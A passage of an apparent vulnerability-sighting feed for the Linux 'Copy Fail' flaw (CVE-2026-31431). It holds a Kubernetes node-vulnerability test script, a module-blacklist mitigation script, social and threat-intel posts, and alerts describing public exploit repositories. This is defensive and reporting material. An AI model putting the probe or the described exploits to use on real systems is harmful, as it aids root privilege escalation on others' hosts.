baseline (CVE-2026-31431)\n# =============================================================================\necho \"\"\necho -e \"${CYAN}--- Step 3: Copy Fail baseline (CVE-2026-31431) ---${NC}\"\nwarn \"Non-root pod (UID 1000). Tests whether AF_ALG socket auto-loads algif_aead.\"\nwarn \"Expected to succeed on nodes WITHOUT an algif_aead blacklist.\"\necho \"\"\n\nconfirm \"Run Copy Fail baseline test?\" || { warn \"Skipping Step 3.\"; exit 0; }\n\nlog \"Spawning non-root pod (python:3.12-slim, UID 1000)...\"\nkubectl --context \"${KUBE_CONTEXT}\" run \"${POD_COPYFAIL}\" \\\n  --image=python:3.12-slim \\\n  --restart=Never \\\n  --namespace \"${NAMESPACE}\" \\\n  --overrides=\"$(printf '{\n    \"spec\": {\n      \"securityContext\": {\"runAsNonRoot\": true, \"runAsUser\": 1000, \"runAsGroup\": 1000},\n      \"nodeSelector\": {\"kubernetes.io/hostname\": \"%s\"},\n      \"tolerations\": [{\"operator\": \"Exists\"}]\n    }\n  }' \"${TARGET_NODE}\")\" \\\n  -- sleep 600\n\nkubectl --context \"${KUBE_CONTEXT}\" wait pod/\"${POD_COPYFAIL}\" \\\n  --for=condition=Ready --timeout=120s --namespace \"${NAMESPACE}\"\nok \"Pod ready.\"\n\necho \"\"\necho -e \"${RED}=== COPY FAIL \u2014 AF_ALG SOCKET TEST ===${NC}\"\nkubectl --context \"${KUBE_CONTEXT}\" exec \"${POD_COPYFAIL}\" \\\n  --namespace \"${NAMESPACE}\" -- \\\n  python3 -c \"\nimport socket, os\nprint('Running as UID:', os.getuid())\nprint('Kernel:', open('/proc/version').read().split()[2])\ntry:\n    s = socket.socket(38, 5, 0)  # AF_ALG, SOCK_SEQPACKET\n    s.bind(('aead', 'authencesn(hmac(sha256),cbc(aes))'))\n    print('RESULT: algif_aead auto-loaded via AF_ALG socket')\n    print('VERDICT: Node IS vulnerable to Copy Fail (CVE-2026-31431)')\n    s.close()\nexcept PermissionError as e:\n    print('RESULT: AF_ALG bind blocked -', e)\n    print('VERDICT: algif_aead blacklist active OR module unavailable')\nexcept OSError as e:\n    print('RESULT: AF_ALG socket error -', e)\n    print('VERDICT: Module not loadable (kernel too old or not present)')\n\" 2>&1 || true\necho -e \"${RED}=== END ===${NC}\"\n\nkubectl --context \"${KUBE_CONTEXT}\" delete pod \"${POD_COPYFAIL}\" \\\n  --force --ignore-not-found --namespace \"${NAMESPACE}\" 2>/dev/null || true\nok \"Step 3 done.\"\n\n# =============================================================================\n# SUMMARY\n# =============================================================================\necho \"\"\necho -e \"${CYAN}========================================${NC}\"\necho -e \"${CYAN}  Test complete.                        ${NC}\"\necho -e \"${CYAN}========================================${NC}\"\necho \"\"\necho \"Key things to note:\"\necho \"  - Step 1: Did ./exp produce a root shell? (y/n + full output)\"\necho \"  - Step 2: Was rxrpc.ko present on 5.15? (expected: no)\"\necho \"  - Step 3: Did AF_ALG socket load algif_aead? (expected: yes on unmitigated node)\"\necho \"  - Node: ${TARGET_NODE} / Context: ${KUBE_CONTEXT}\"\necho \"\"\n", "creation_timestamp": "2026-05-09T10:18:18.000000Z"}, {"uuid": "d9450f34-7cd0-4f42-813c-d0de7115d731", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/pigondrugs.bsky.social/post/3mlgb2yg54o2f", "content": "@elastic.co\nCopy Fail and DirtyFrag are actively exploited Linux kernel bugs allowing local privilege escalation to root.\n-\nIOCs: CVE-2026-31431\n-\n#CVE202631431 #Linux #ThreatIntel", "creation_timestamp": "2026-05-09T12:36:08.218006Z"}, {"uuid": "97189663-ba3a-41b6-b0d3-9ff9f11de73f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/harushark3.bsky.social/post/3mlgeqijbls2k", "content": "[JP] 2026\u5e74\u306e\u65b0\u8106\u5f31\u6027\u300cCopy Fail\u300d\u8972\u6765\uff01Podman\u30eb\u30fc\u30c8\u30ec\u30b9\u74b0\u5883\u3078\u306e\u5f71\u97ff\u3068\u9632\u885b\u7b56\n[EN] The Arrival of the New Vulnerability \"Copy Fail\" in 2026! Impacts and Defenses for Podman''s\u2026\n\nhttps://ai-minor.com/blog/en/2026-05-09-1778322084176-podman_rootless_containers_and_the_copy_fail_explo\n\n#CopyFail #Podman #CVE-2026-31431 #AI #Tech", "creation_timestamp": "2026-05-09T13:41:50.707606Z"}, {"uuid": "259ae820-b547-4402-892f-68106ce8f217", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/crustytldr.bsky.social/post/3mlgfxldttv2v", "content": "\ud83d\udd12 Copy/Fail Detection Script (CI/CD)(CVE-2026-31431)\n\nA detection script for the \"Copy/Fail\" vulnerability (CVE-2026-31431) affecting CI/CD systems is now available on GitHub. This tool hel...\n\nhttps://is.gd/2DliOx #CyberSecurity #InfoSec #CrustyTLDR", "creation_timestamp": "2026-05-09T14:03:41.935774Z"}, {"uuid": "f0f50c5e-a606-4cdd-a4c4-e55ce2ef14b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/mpjgregoire.cosocial.ca.ap.brid.gy/post/3mlgfyx3hmr32", "content": "Hmmm. #Debian is stepping on the gas with #Linux kernel updates these days. The obvious explanation is that they're dealing with the copy.fail security hole, but I think that's been mostly resolved ( https://security-tracker.debian.org/tracker/CVE-2026-31431 ).\n\nPossibly copy.fail is the first [\u2026]", "creation_timestamp": "2026-05-09T14:04:34.644573Z"}, {"uuid": "6e54b950-e248-4ff3-99d8-fdd9aad38b23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/bottiger1/83d95b500a135a7283504995082a87dd", "content": "#!/usr/bin/env bash\n# CVE-2026-31431 (Copy Fail) | CVE-2026-43284 / CVE-2026-43500 (Dirty Frag)\nset -euo pipefail\n\nRED='\\033[0;31m'; YEL='\\033[1;33m'; GRN='\\033[0;32m'; NC='\\033[0m'\nok()   { echo -e \"  [${GRN}OK${NC}]   $*\"; }\nwarn() { echo -e \"  [${YEL}WARN${NC}] $*\"; }\nerr()  { echo -e \"  [${RED}FAIL${NC}] $*\"; }\n\nCONF=\"/etc/modprobe.d/dirtyfrag.conf\"\nMODS=(algif_aead esp4 esp6 rxrpc)\n\n[[ $EUID -eq 0 ]] || { err \"Run as root\"; exit 1; }\n\nprintf 'install %s /bin/false\\n' \"${MODS[@]}\" > \"$CONF\"\nok \"Wrote $CONF\"\n\nfor mod in \"${MODS[@]}\"; do\n    if lsmod | grep -q \"^${mod} \"; then\n        rmmod \"$mod\" 2>/dev/null && ok \"Unloaded $mod\" || warn \"Could not unload $mod \u2014 reboot needed\"\n    else\n        ok \"Not loaded: $mod\"\n    fi\ndone\n\necho -e \"\\nVerification:\"\nall_ok=true\nfor mod in \"${MODS[@]}\"; do\n    grep -q \"install ${mod} /bin/false\" \"$CONF\" 2>/dev/null \\\n        && ok \"Blocked: $mod\" || { err \"Rule missing: $mod\"; all_ok=false; }\n    lsmod | grep -q \"^${mod} \" \\\n        && { warn \"Still loaded: $mod \u2014 reboot required\"; all_ok=false; }\ndone\n\n$all_ok && echo -e \"\\n${GRN}\u2714 Done.${NC}\" || echo -e \"\\n${YEL}\u26a0 Reboot to complete.${NC}\"", "creation_timestamp": "2026-05-09T20:54:35.000000Z"}, {"uuid": "000de011-dd67-471b-9b77-817812f972fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mlh5vn34kk2x", "content": "Linux\u30ab\u30fc\u30cd\u30eb\u306b\u6a29\u9650\u6607\u683c\u306e\u8106\u5f31\u6027\u300cCopy Fail\u300d - PoC\u516c\u958b\u6e08\u307f\n\nLinux\u30ab\u30fc\u30cd\u30eb\u306b\u6a29\u9650\u6607\u683c\u306e\u8106\u5f31\u6027\u304c\u78ba\u8a8d\u3055\u308c\u305f\u3002\u4e3b\u8981\u30c7\u30a3\u30b9\u30c8\u30ea\u30d3\u30e5\u30fc\u30b7\u30e7\u30f3\u304c\u5f71\u97ff\u3092\u53d7\u3051\u308b\u3068\u3055\u308c\u3066\u304a\u308a\u3001\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\u304c\u547c\u3073\u304b\u3051\u3089\u308c\u3066\u3044\u308b\u3002\n\n\u30ed\u30fc\u30ab\u30eb\u30e6\u30fc\u30b6\u304croot\u6a29\u9650\u3092\u53d6\u5f97\u3067\u304d\u308b\u8106\u5f31\u6027\u300cCVE-2026-31431\u300d\u304c\u660e\u3089\u304b\u3068\u306a\u3063\u305f\u3082\u306e\u3002\u5225\u540d\u300cCopy Fail\u300d\u3068\u3082\u540d\u4ed8\u3051\u3089\u308c\u3066\u3044\u308b\u3002\n\n\u539f\u56e0\u3068\u3055\u308c\u308b\u30ab\u30fc\u30cd\u30eb\u6697\u53f7\u5316API\u306e\u30e6\u30fc\u30b6\u30fc\u7a7a\u9593\u30a4\u30f3\u30bf\u30fc\u30d5\u30a7\u30fc\u30b9\u306f\u30012017\u5e74\u4ee5\u964d\u306b\u30ea\u30ea\u30fc\u30b9\u3055\u308c\u305f\u307b\u307c\u3059\u3079\u3066\u306e\u30c7\u30a3\u30b9\u30c8\u30ea\u30d3\u30e5\u30fc\u30b7\u30e7\u30f3\u304c\u30c7\u30d5\u30a9\u30eb\u30c8\u8a2d\u5b9a\u3067\u6709\u52b9\u5316\u3055\u308c\u3066\u304a\u308a\u3001\u5f71\u97ff\u3092\u53d7\u3051\u308b\u3068\u3044\u3046\u3002\n\n\u8907\u6570\u306e\u30e6\u30fc\u30b6\u30fc\u304c\u5229\u7528\u3059\u308b\u30de\u30eb...", "creation_timestamp": "2026-05-09T21:12:08.237156Z"}, {"uuid": "2fba49fd-70be-4e92-8276-128ddc852aed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mlh66ow4ec2x", "content": "CISA Adds One Known Exploited Vulnerability to Catalog\nRelease Date May 01, 2026\n\nCVE-2026-31431 Linux Kernel Incorrect Resource Transfer Between Spheres Vulnerability", "creation_timestamp": "2026-05-09T21:17:12.273887Z"}, {"uuid": "dca7452e-e0f4-4a00-9121-6db41cbce63d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mlh6b54ofc2x", "content": "CVE-2026-31431: \u30b3\u30d4\u30fc\u5931\u6557\u306e\u8106\u5f31\u6027\u306b\u3088\u308a\u3001\u30af\u30e9\u30a6\u30c9\u74b0\u5883\u5168\u4f53\u3067Linux\u306eroot\u6a29\u9650\u6607\u683c\u304c\u53ef\u80fd\u306b\u306a\u308b\n\nMicrosoft Defender \u306f\u3001Red Hat\u3001SUSE\u3001Ubuntu\u3001AWS Linux \u306a\u3069\u3001\u8907\u6570\u306e\u4e3b\u8981\u306a Linux \u30c7\u30a3\u30b9\u30c8\u30ea\u30d3\u30e5\u30fc\u30b7\u30e7\u30f3\u306b\u5f71\u97ff\u3092\u4e0e\u3048\u308b\u3001\u6df1\u523b\u5ea6\u306e\u9ad8\u3044\u30ed\u30fc\u30ab\u30eb\u6a29\u9650\u6607\u683c\u306e\u8106\u5f31\u6027 ( CVE-2026-31431 ) \u3092\u8abf\u67fb\u3057\u3066\u3044\u307e\u3059\u3002\u3053\u306e\u8106\u5f31\u6027\u306b\u3088\u308a\u3001\u6a29\u9650\u304c\u4e0d\u6b63\u306b root \u30ec\u30d9\u30eb\u307e\u3067\u6607\u683c\u3055\u308c\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u3001\u30af\u30e9\u30a6\u30c9 Linux \u30ef\u30fc\u30af\u30ed\u30fc\u30c9\u306e\u5927\u90e8\u5206\u3068\u6570\u767e\u4e07\u306e Kubernetes \u30af\u30e9\u30b9\u30bf\u30fc\u306b\u5f71\u97ff\u3092\u53ca\u307c\u3057\u307e\u3059\u3002\u5b9f\u969b\u306e\u60aa\u7528\u306f\u9650\u5b9a\u7684\u3067\u3001\u4e3b\u306b...", "creation_timestamp": "2026-05-09T21:18:37.049121Z"}, {"uuid": "a1cb1c04-1a7d-438b-9c06-e165ad9a42dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mlh6jdddek2x", "content": "CISA\u304c\u3001\u60aa\u7528\u3055\u308c\u3066\u3044\u308bLinux\u30eb\u30fc\u30c8\u30a2\u30af\u30bb\u30b9\u8106\u5f31\u6027CVE-2026-31431\u3092KEV\u306b\u8ffd\u52a0\n\n\u7c73\u56fd\u306e\u30b5\u30a4\u30d0\u30fc\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30fb\u30a4\u30f3\u30d5\u30e9\u30b9\u30c8\u30e9\u30af\u30c1\u30e3\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u5e81\uff08CISA\uff09\u306f\u91d1\u66dc\u65e5\u3001\u69d8\u3005\u306aLinux\u30c7\u30a3\u30b9\u30c8\u30ea\u30d3\u30e5\u30fc\u30b7\u30e7\u30f3\u306b\u5f71\u97ff\u3092\u4e0e\u3048\u308b\u6700\u8fd1\u660e\u3089\u304b\u306b\u306a\u3063\u305f\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u4e0a\u306e\u6b20\u9665\u3092\u3001\u65e2\u77e5\u306e\u60aa\u7528\u4e8b\u4f8b\uff08KEV \uff09\u30ab\u30bf\u30ed\u30b0\u306b\u8ffd\u52a0\u3057\u305f\u3002\u3053\u308c\u306f\u3001\u5b9f\u969b\u306b\u60aa\u7528\u3055\u308c\u3066\u3044\u308b\u8a3c\u62e0\u304c\u3042\u308b\u305f\u3081\u3060\u3002\n\nCVE-2026-31431\uff08CVSS\u30b9\u30b3\u30a2\uff1a7.8\uff09\u3068\u3057\u3066\u8ffd\u8de1\u3055\u308c\u3066\u3044\u308b\u3053\u306e\u8106\u5f31\u6027\u306f\u3001\u30ed\u30fc\u30ab\u30eb\u6a29\u9650\u6607\u683c\uff08LPE\uff09\u306e\u6b20\u9665\u3067\u3042\u308a\u3001\u6a29\u9650\u306e\u306a\u3044\u30ed\u30fc\u30ab\u30eb\u30e6\u30fc\u30b6\u30fc\u304croot\u6a29\u9650\u3092\u53d6\u5f97\u3067\u304d\u308b\u53ef\u80fd\u6027\u304c\u3042\u308a\u307e\u3059\u3002\u3053\u306e9\u5e74\u524d\u304b\u3089\u5b58\u5728\u3059...", "creation_timestamp": "2026-05-09T21:23:13.459813Z"}, {"uuid": "d120bf6f-896d-45c8-8fa1-a2c9aef10f01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/intel.overresearched.net/post/3mlhcbcywjc2m", "content": "\ud83d\udd34 Copy Fail (CVE-2026-31431) on CISA KEV + DirtyFrag \u2014 Linux LPE on major distros\n\ud83d\udfe0 Genesis: 5 US victims in 24h\n\ud83d\udfe0 Fake OpenAI HF repo \u2192 Rust infostealer (244k DLs)\n\nFull brief: intel.overresearched.net/2026/05/09/c...\n\n#Daily #ThreatIntel #InfoSec", "creation_timestamp": "2026-05-09T22:30:13.529407Z"}, {"uuid": "f44daae1-28a7-42dd-908f-73d1abfa8867", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/83585", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a Copy_Grail\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a cleozi\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a C++\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-10 00:45:32\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nElegant C++ exploit for CVE-2026-31431 (Copy Fail) using AF_ALG authenticated encryption + splice(2) to overwrite setuid binary memory\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-10T01:00:05.000000Z"}, {"uuid": "eb9ed973-9f11-4346-abb2-8eb59e7c1db5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mlhpojezmi2z", "content": "Top 3 CVE for last 7 days:\nCVE-2026-31431: 164 interactions\nCVE-2026-43284: 120 interactions\nCVE-2026-43500: 84 interactions\n\n\nTop 3 CVE for yesterday:\nCVE-2026-43284: 59 interactions\nCVE-2026-43500: 53 interactions\nCVE-2026-31431: 14 interactions\n", "creation_timestamp": "2026-05-10T02:30:15.454823Z"}, {"uuid": "bf44cdef-a659-4170-808c-32d447190fe8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/83624", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-43500\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a attaattaatta\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Go\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-10 07:57:52\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-43500 / CVE-2026-31431 / CVE-2026-43284 golang hotfix\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-10T08:00:04.000000Z"}, {"uuid": "991261d7-b3e4-4c24-a0a2-1e517afabed4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/ael0030-ai/664ef04df47badeedb2f7f4889762ec0", "content": "\n\n  \n\n    Noticias de Alejandro Espa\u00f1a Lanceta\n    https://gist.githubusercontent.com/ael0030-ai/99660b1cfd870d17095a16aa263a4251/raw/noticias.xml\n    Canal RSS creado para la pr\u00e1ctica 9 del Tema 17, con noticias reales sobre sistemas y seguridad inform\u00e1tica.\n    es\n\n    \n    \n      Vulnerabilidad cr\u00edtica en Windows Server WSUS permite ejecuci\u00f3n remota\n      https://www.securityweek.com/critical-windows-server-wsus-vulnerability-exploited-in-the-wild/\n      Una vulnerabilidad grave en Windows Server WSUS (CVE-2025-59287) est\u00e1 siendo explotada activamente, permitiendo a atacantes ejecutar c\u00f3digo remoto en servidores vulnerables.\n        \n      ]]>\n      https://www.securityweek.com/critical-windows-server-wsus-vulnerability-exploited-in-the-wild/\n      ael0030@medac.es\n      Fri, 24 Oct 2025 10:42:00 GMT\n    \n\n    \n    \n      Ransomware BlackCat aprovecha servidores Exchange sin parchear\n      https://www.zdnet.com/article/microsoft-ransomware-gangs-using-unpatched-exchange-servers/\n      Microsoft ha alertado de que grupos de ransomware como BlackCat est\u00e1n explotando servidores Exchange sin actualizar para infiltrarse en redes corporativas.\n        \n      ]]>\n      https://www.zdnet.com/article/microsoft-ransomware-gangs-using-unpatched-exchange-servers/\n      ael0030@medac.es\n      Tue, 14 Jun 2022 08:11:00 GMT\n    \n\n    \n    \n      Fallo 'Copy Fail' en el kernel de Linux permite obtener acceso root\n      https://www.securityweek.com/copy-fail-logic-flaw-in-linux-kernel-enables-system-takeover/\n      Una vulnerabilidad en el kernel de Linux (CVE-2026-31431) permite a atacantes locales escalar privilegios y obtener acceso root en pr\u00e1cticamente cualquier distribuci\u00f3n.\n        \n      ]]>\n      https://www.securityweek.com/copy-fail-logic-flaw-in-linux-kernel-enables-system-takeover/\n      ael0030@medac.es\n      Thu, 30 Apr 2026 06:06:00 GMT\n    \n\n  \n", "creation_timestamp": "2026-05-10T09:53:12.000000Z"}, {"uuid": "d760210e-f8d0-49ca-be70-723c0688e4e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/ael0030-ai/4829553e4ca557c5523ee2dabb2beb2d", "content": "\n\n  \n\n    Noticias de Alejandro Espa\u00f1a Lanceta\n    https://gist.githubusercontent.com/ael0030-ai/99660b1cfd870d17095a16aa263a4251/raw/noticias.xml\n    Pr\u00e1ctica 9 del Tema 17\n    es\n\n    \n    \n      Vulnerabilidad cr\u00edtica en Windows Server WSUS permite ejecuci\u00f3n remota\n      https://www.securityweek.com/critical-windows-server-wsus-vulnerability-exploited-in-the-wild/\n      Una vulnerabilidad grave en Windows Server WSUS (CVE-2025-59287) est\u00e1 siendo explotada activamente, permitiendo a atacantes ejecutar c\u00f3digo remoto en servidores vulnerables.\n        \n      ]]>\n      https://www.securityweek.com/critical-windows-server-wsus-vulnerability-exploited-in-the-wild/\n      ael0030@medac.es\n      Fri, 24 Oct 2025 10:42:00 GMT\n    \n\n    \n    \n      Ransomware BlackCat aprovecha servidores Exchange sin parchear\n      https://www.zdnet.com/article/microsoft-ransomware-gangs-using-unpatched-exchange-servers/\n      Microsoft ha alertado de que grupos de ransomware como BlackCat est\u00e1n explotando servidores Exchange sin actualizar para infiltrarse en redes corporativas.\n        \n      ]]>\n      https://www.zdnet.com/article/microsoft-ransomware-gangs-using-unpatched-exchange-servers/\n      ael0030@medac.es\n      Tue, 14 Jun 2022 08:11:00 GMT\n    \n\n    \n    \n      Fallo 'Copy Fail' en el kernel de Linux permite obtener acceso root\n      https://www.securityweek.com/copy-fail-logic-flaw-in-linux-kernel-enables-system-takeover/\n      Una vulnerabilidad en el kernel de Linux (CVE-2026-31431) permite a atacantes locales escalar privilegios y obtener acceso root en pr\u00e1cticamente cualquier distribuci\u00f3n.\n        \n      ]]>\n      https://www.securityweek.com/copy-fail-logic-flaw-in-linux-kernel-enables-system-takeover/\n      ael0030@medac.es\n      Thu, 30 Apr 2026 06:06:00 GMT\n    \n\n  \n\n\n", "creation_timestamp": "2026-05-10T09:58:30.000000Z"}, {"uuid": "d2481e05-411b-486c-a885-1c9aaf78c3c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/ael0030-ai/edde819e9e4d3337189517c21500ce61", "content": "\n\n  \n\n    Noticias de Alejandro Espa\u00f1a Lanceta\n    https://gist.githubusercontent.com/ael0030-ai/99660b1cfd870d17095a16aa263a4251/raw/noticias.xml\n    Pr\u00e1ctica 9 del Tema 17\n    es\n\n    \n    \n      Vulnerabilidad cr\u00edtica en Windows Server WSUS permite ejecuci\u00f3n remota\n      https://www.securityweek.com/critical-windows-server-wsus-vulnerability-exploited-in-the-wild/\n      Una vulnerabilidad grave en Windows Server WSUS (CVE-2025-59287) est\u00e1 siendo explotada activamente, permitiendo a atacantes ejecutar c\u00f3digo remoto en servidores vulnerables.\n        \n      ]]>\n      https://www.securityweek.com/critical-windows-server-wsus-vulnerability-exploited-in-the-wild/\n      ael0030@medac.es\n      Fri, 24 Oct 2025 10:42:00 GMT\n    \n\n    \n    \n      Ransomware BlackCat aprovecha servidores Exchange sin parchear\n      https://www.zdnet.com/article/microsoft-ransomware-gangs-using-unpatched-exchange-servers/\n      Microsoft ha alertado de que grupos de ransomware como BlackCat est\u00e1n explotando servidores Exchange sin actualizar para infiltrarse en redes corporativas.\n        \n      ]]>\n      https://www.zdnet.com/article/microsoft-ransomware-gangs-using-unpatched-exchange-servers/\n      ael0030@medac.es\n      Tue, 14 Jun 2022 08:11:00 GMT\n    \n\n    \n    \n      Fallo 'Copy Fail' en el kernel de Linux permite obtener acceso root\n      https://www.securityweek.com/copy-fail-logic-flaw-in-linux-kernel-enables-system-takeover/\n      Una vulnerabilidad en el kernel de Linux (CVE-2026-31431) permite a atacantes locales escalar privilegios y obtener acceso root en pr\u00e1cticamente cualquier distribuci\u00f3n.\n        \n      ]]>\n      https://www.securityweek.com/copy-fail-logic-flaw-in-linux-kernel-enables-system-takeover/\n      ael0030@medac.es\n      Thu, 30 Apr 2026 06:06:00 GMT\n    \n\n  \n", "creation_timestamp": "2026-05-10T10:07:40.000000Z"}, {"uuid": "d4dc1479-f4db-420e-b110-df2aa8fdbab9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/83639", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a Porting-CVE-2026-31431-Copy-Fail-to-a-Constrained-Java-Runner\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a karollooool\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-10 09:51:39\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-31431 (copy.fail) \u2014 adapted for constrained Java execution environments via FFM syscall layer + javac   annotation processor delivery\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-10T10:00:04.000000Z"}, {"uuid": "86b8faec-d94b-4d74-80c3-df02339728cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/MtALigBXUwxWZ4IXshd7DuJETnLgMy9WFEBN7wv13OmJfPjP", "content": "", "creation_timestamp": "2026-05-10T17:03:55.000000Z"}, {"uuid": "dfe84f6b-595b-4af2-aee6-644066f3b931", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3mljplcli3c2g", "content": "\u300c\u30b3\u30d4\u30fc\u5931\u6557\u300dLinux\u8106\u5f31\u6027\u306e\u60aa\u7528\u304c\u59cb\u307e\u308a\u307e\u3059\n\n\u7c73\u56fd\u30b5\u30a4\u30d0\u30fc\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u6a5f\u95a2CISA\u306f\u3001\u8105\u5a01\u30a2\u30af\u30bf\u30fc\u304c\u6700\u8fd1\u516c\u958b\u3055\u308c\u305fLinux\u30ab\u30fc\u30cd\u30eb\u306e\u8106\u5f31\u6027\u3092\u60aa\u7528\u3057\u3001\u30eb\u30fc\u30c8\u30b7\u30a7\u30eb\u3078\u306e\u30a2\u30af\u30bb\u30b9\u306b\u3064\u306a\u304c\u3063\u3066\u3044\u308b\u3068\u8b66\u544a\u3057\u3066\u3044\u307e\u3059\u3002\n\nCVE-2026-31431 \u3068\u3057\u3066\u8ffd\u8de1\u3055\u308c\u3001Copy Fail 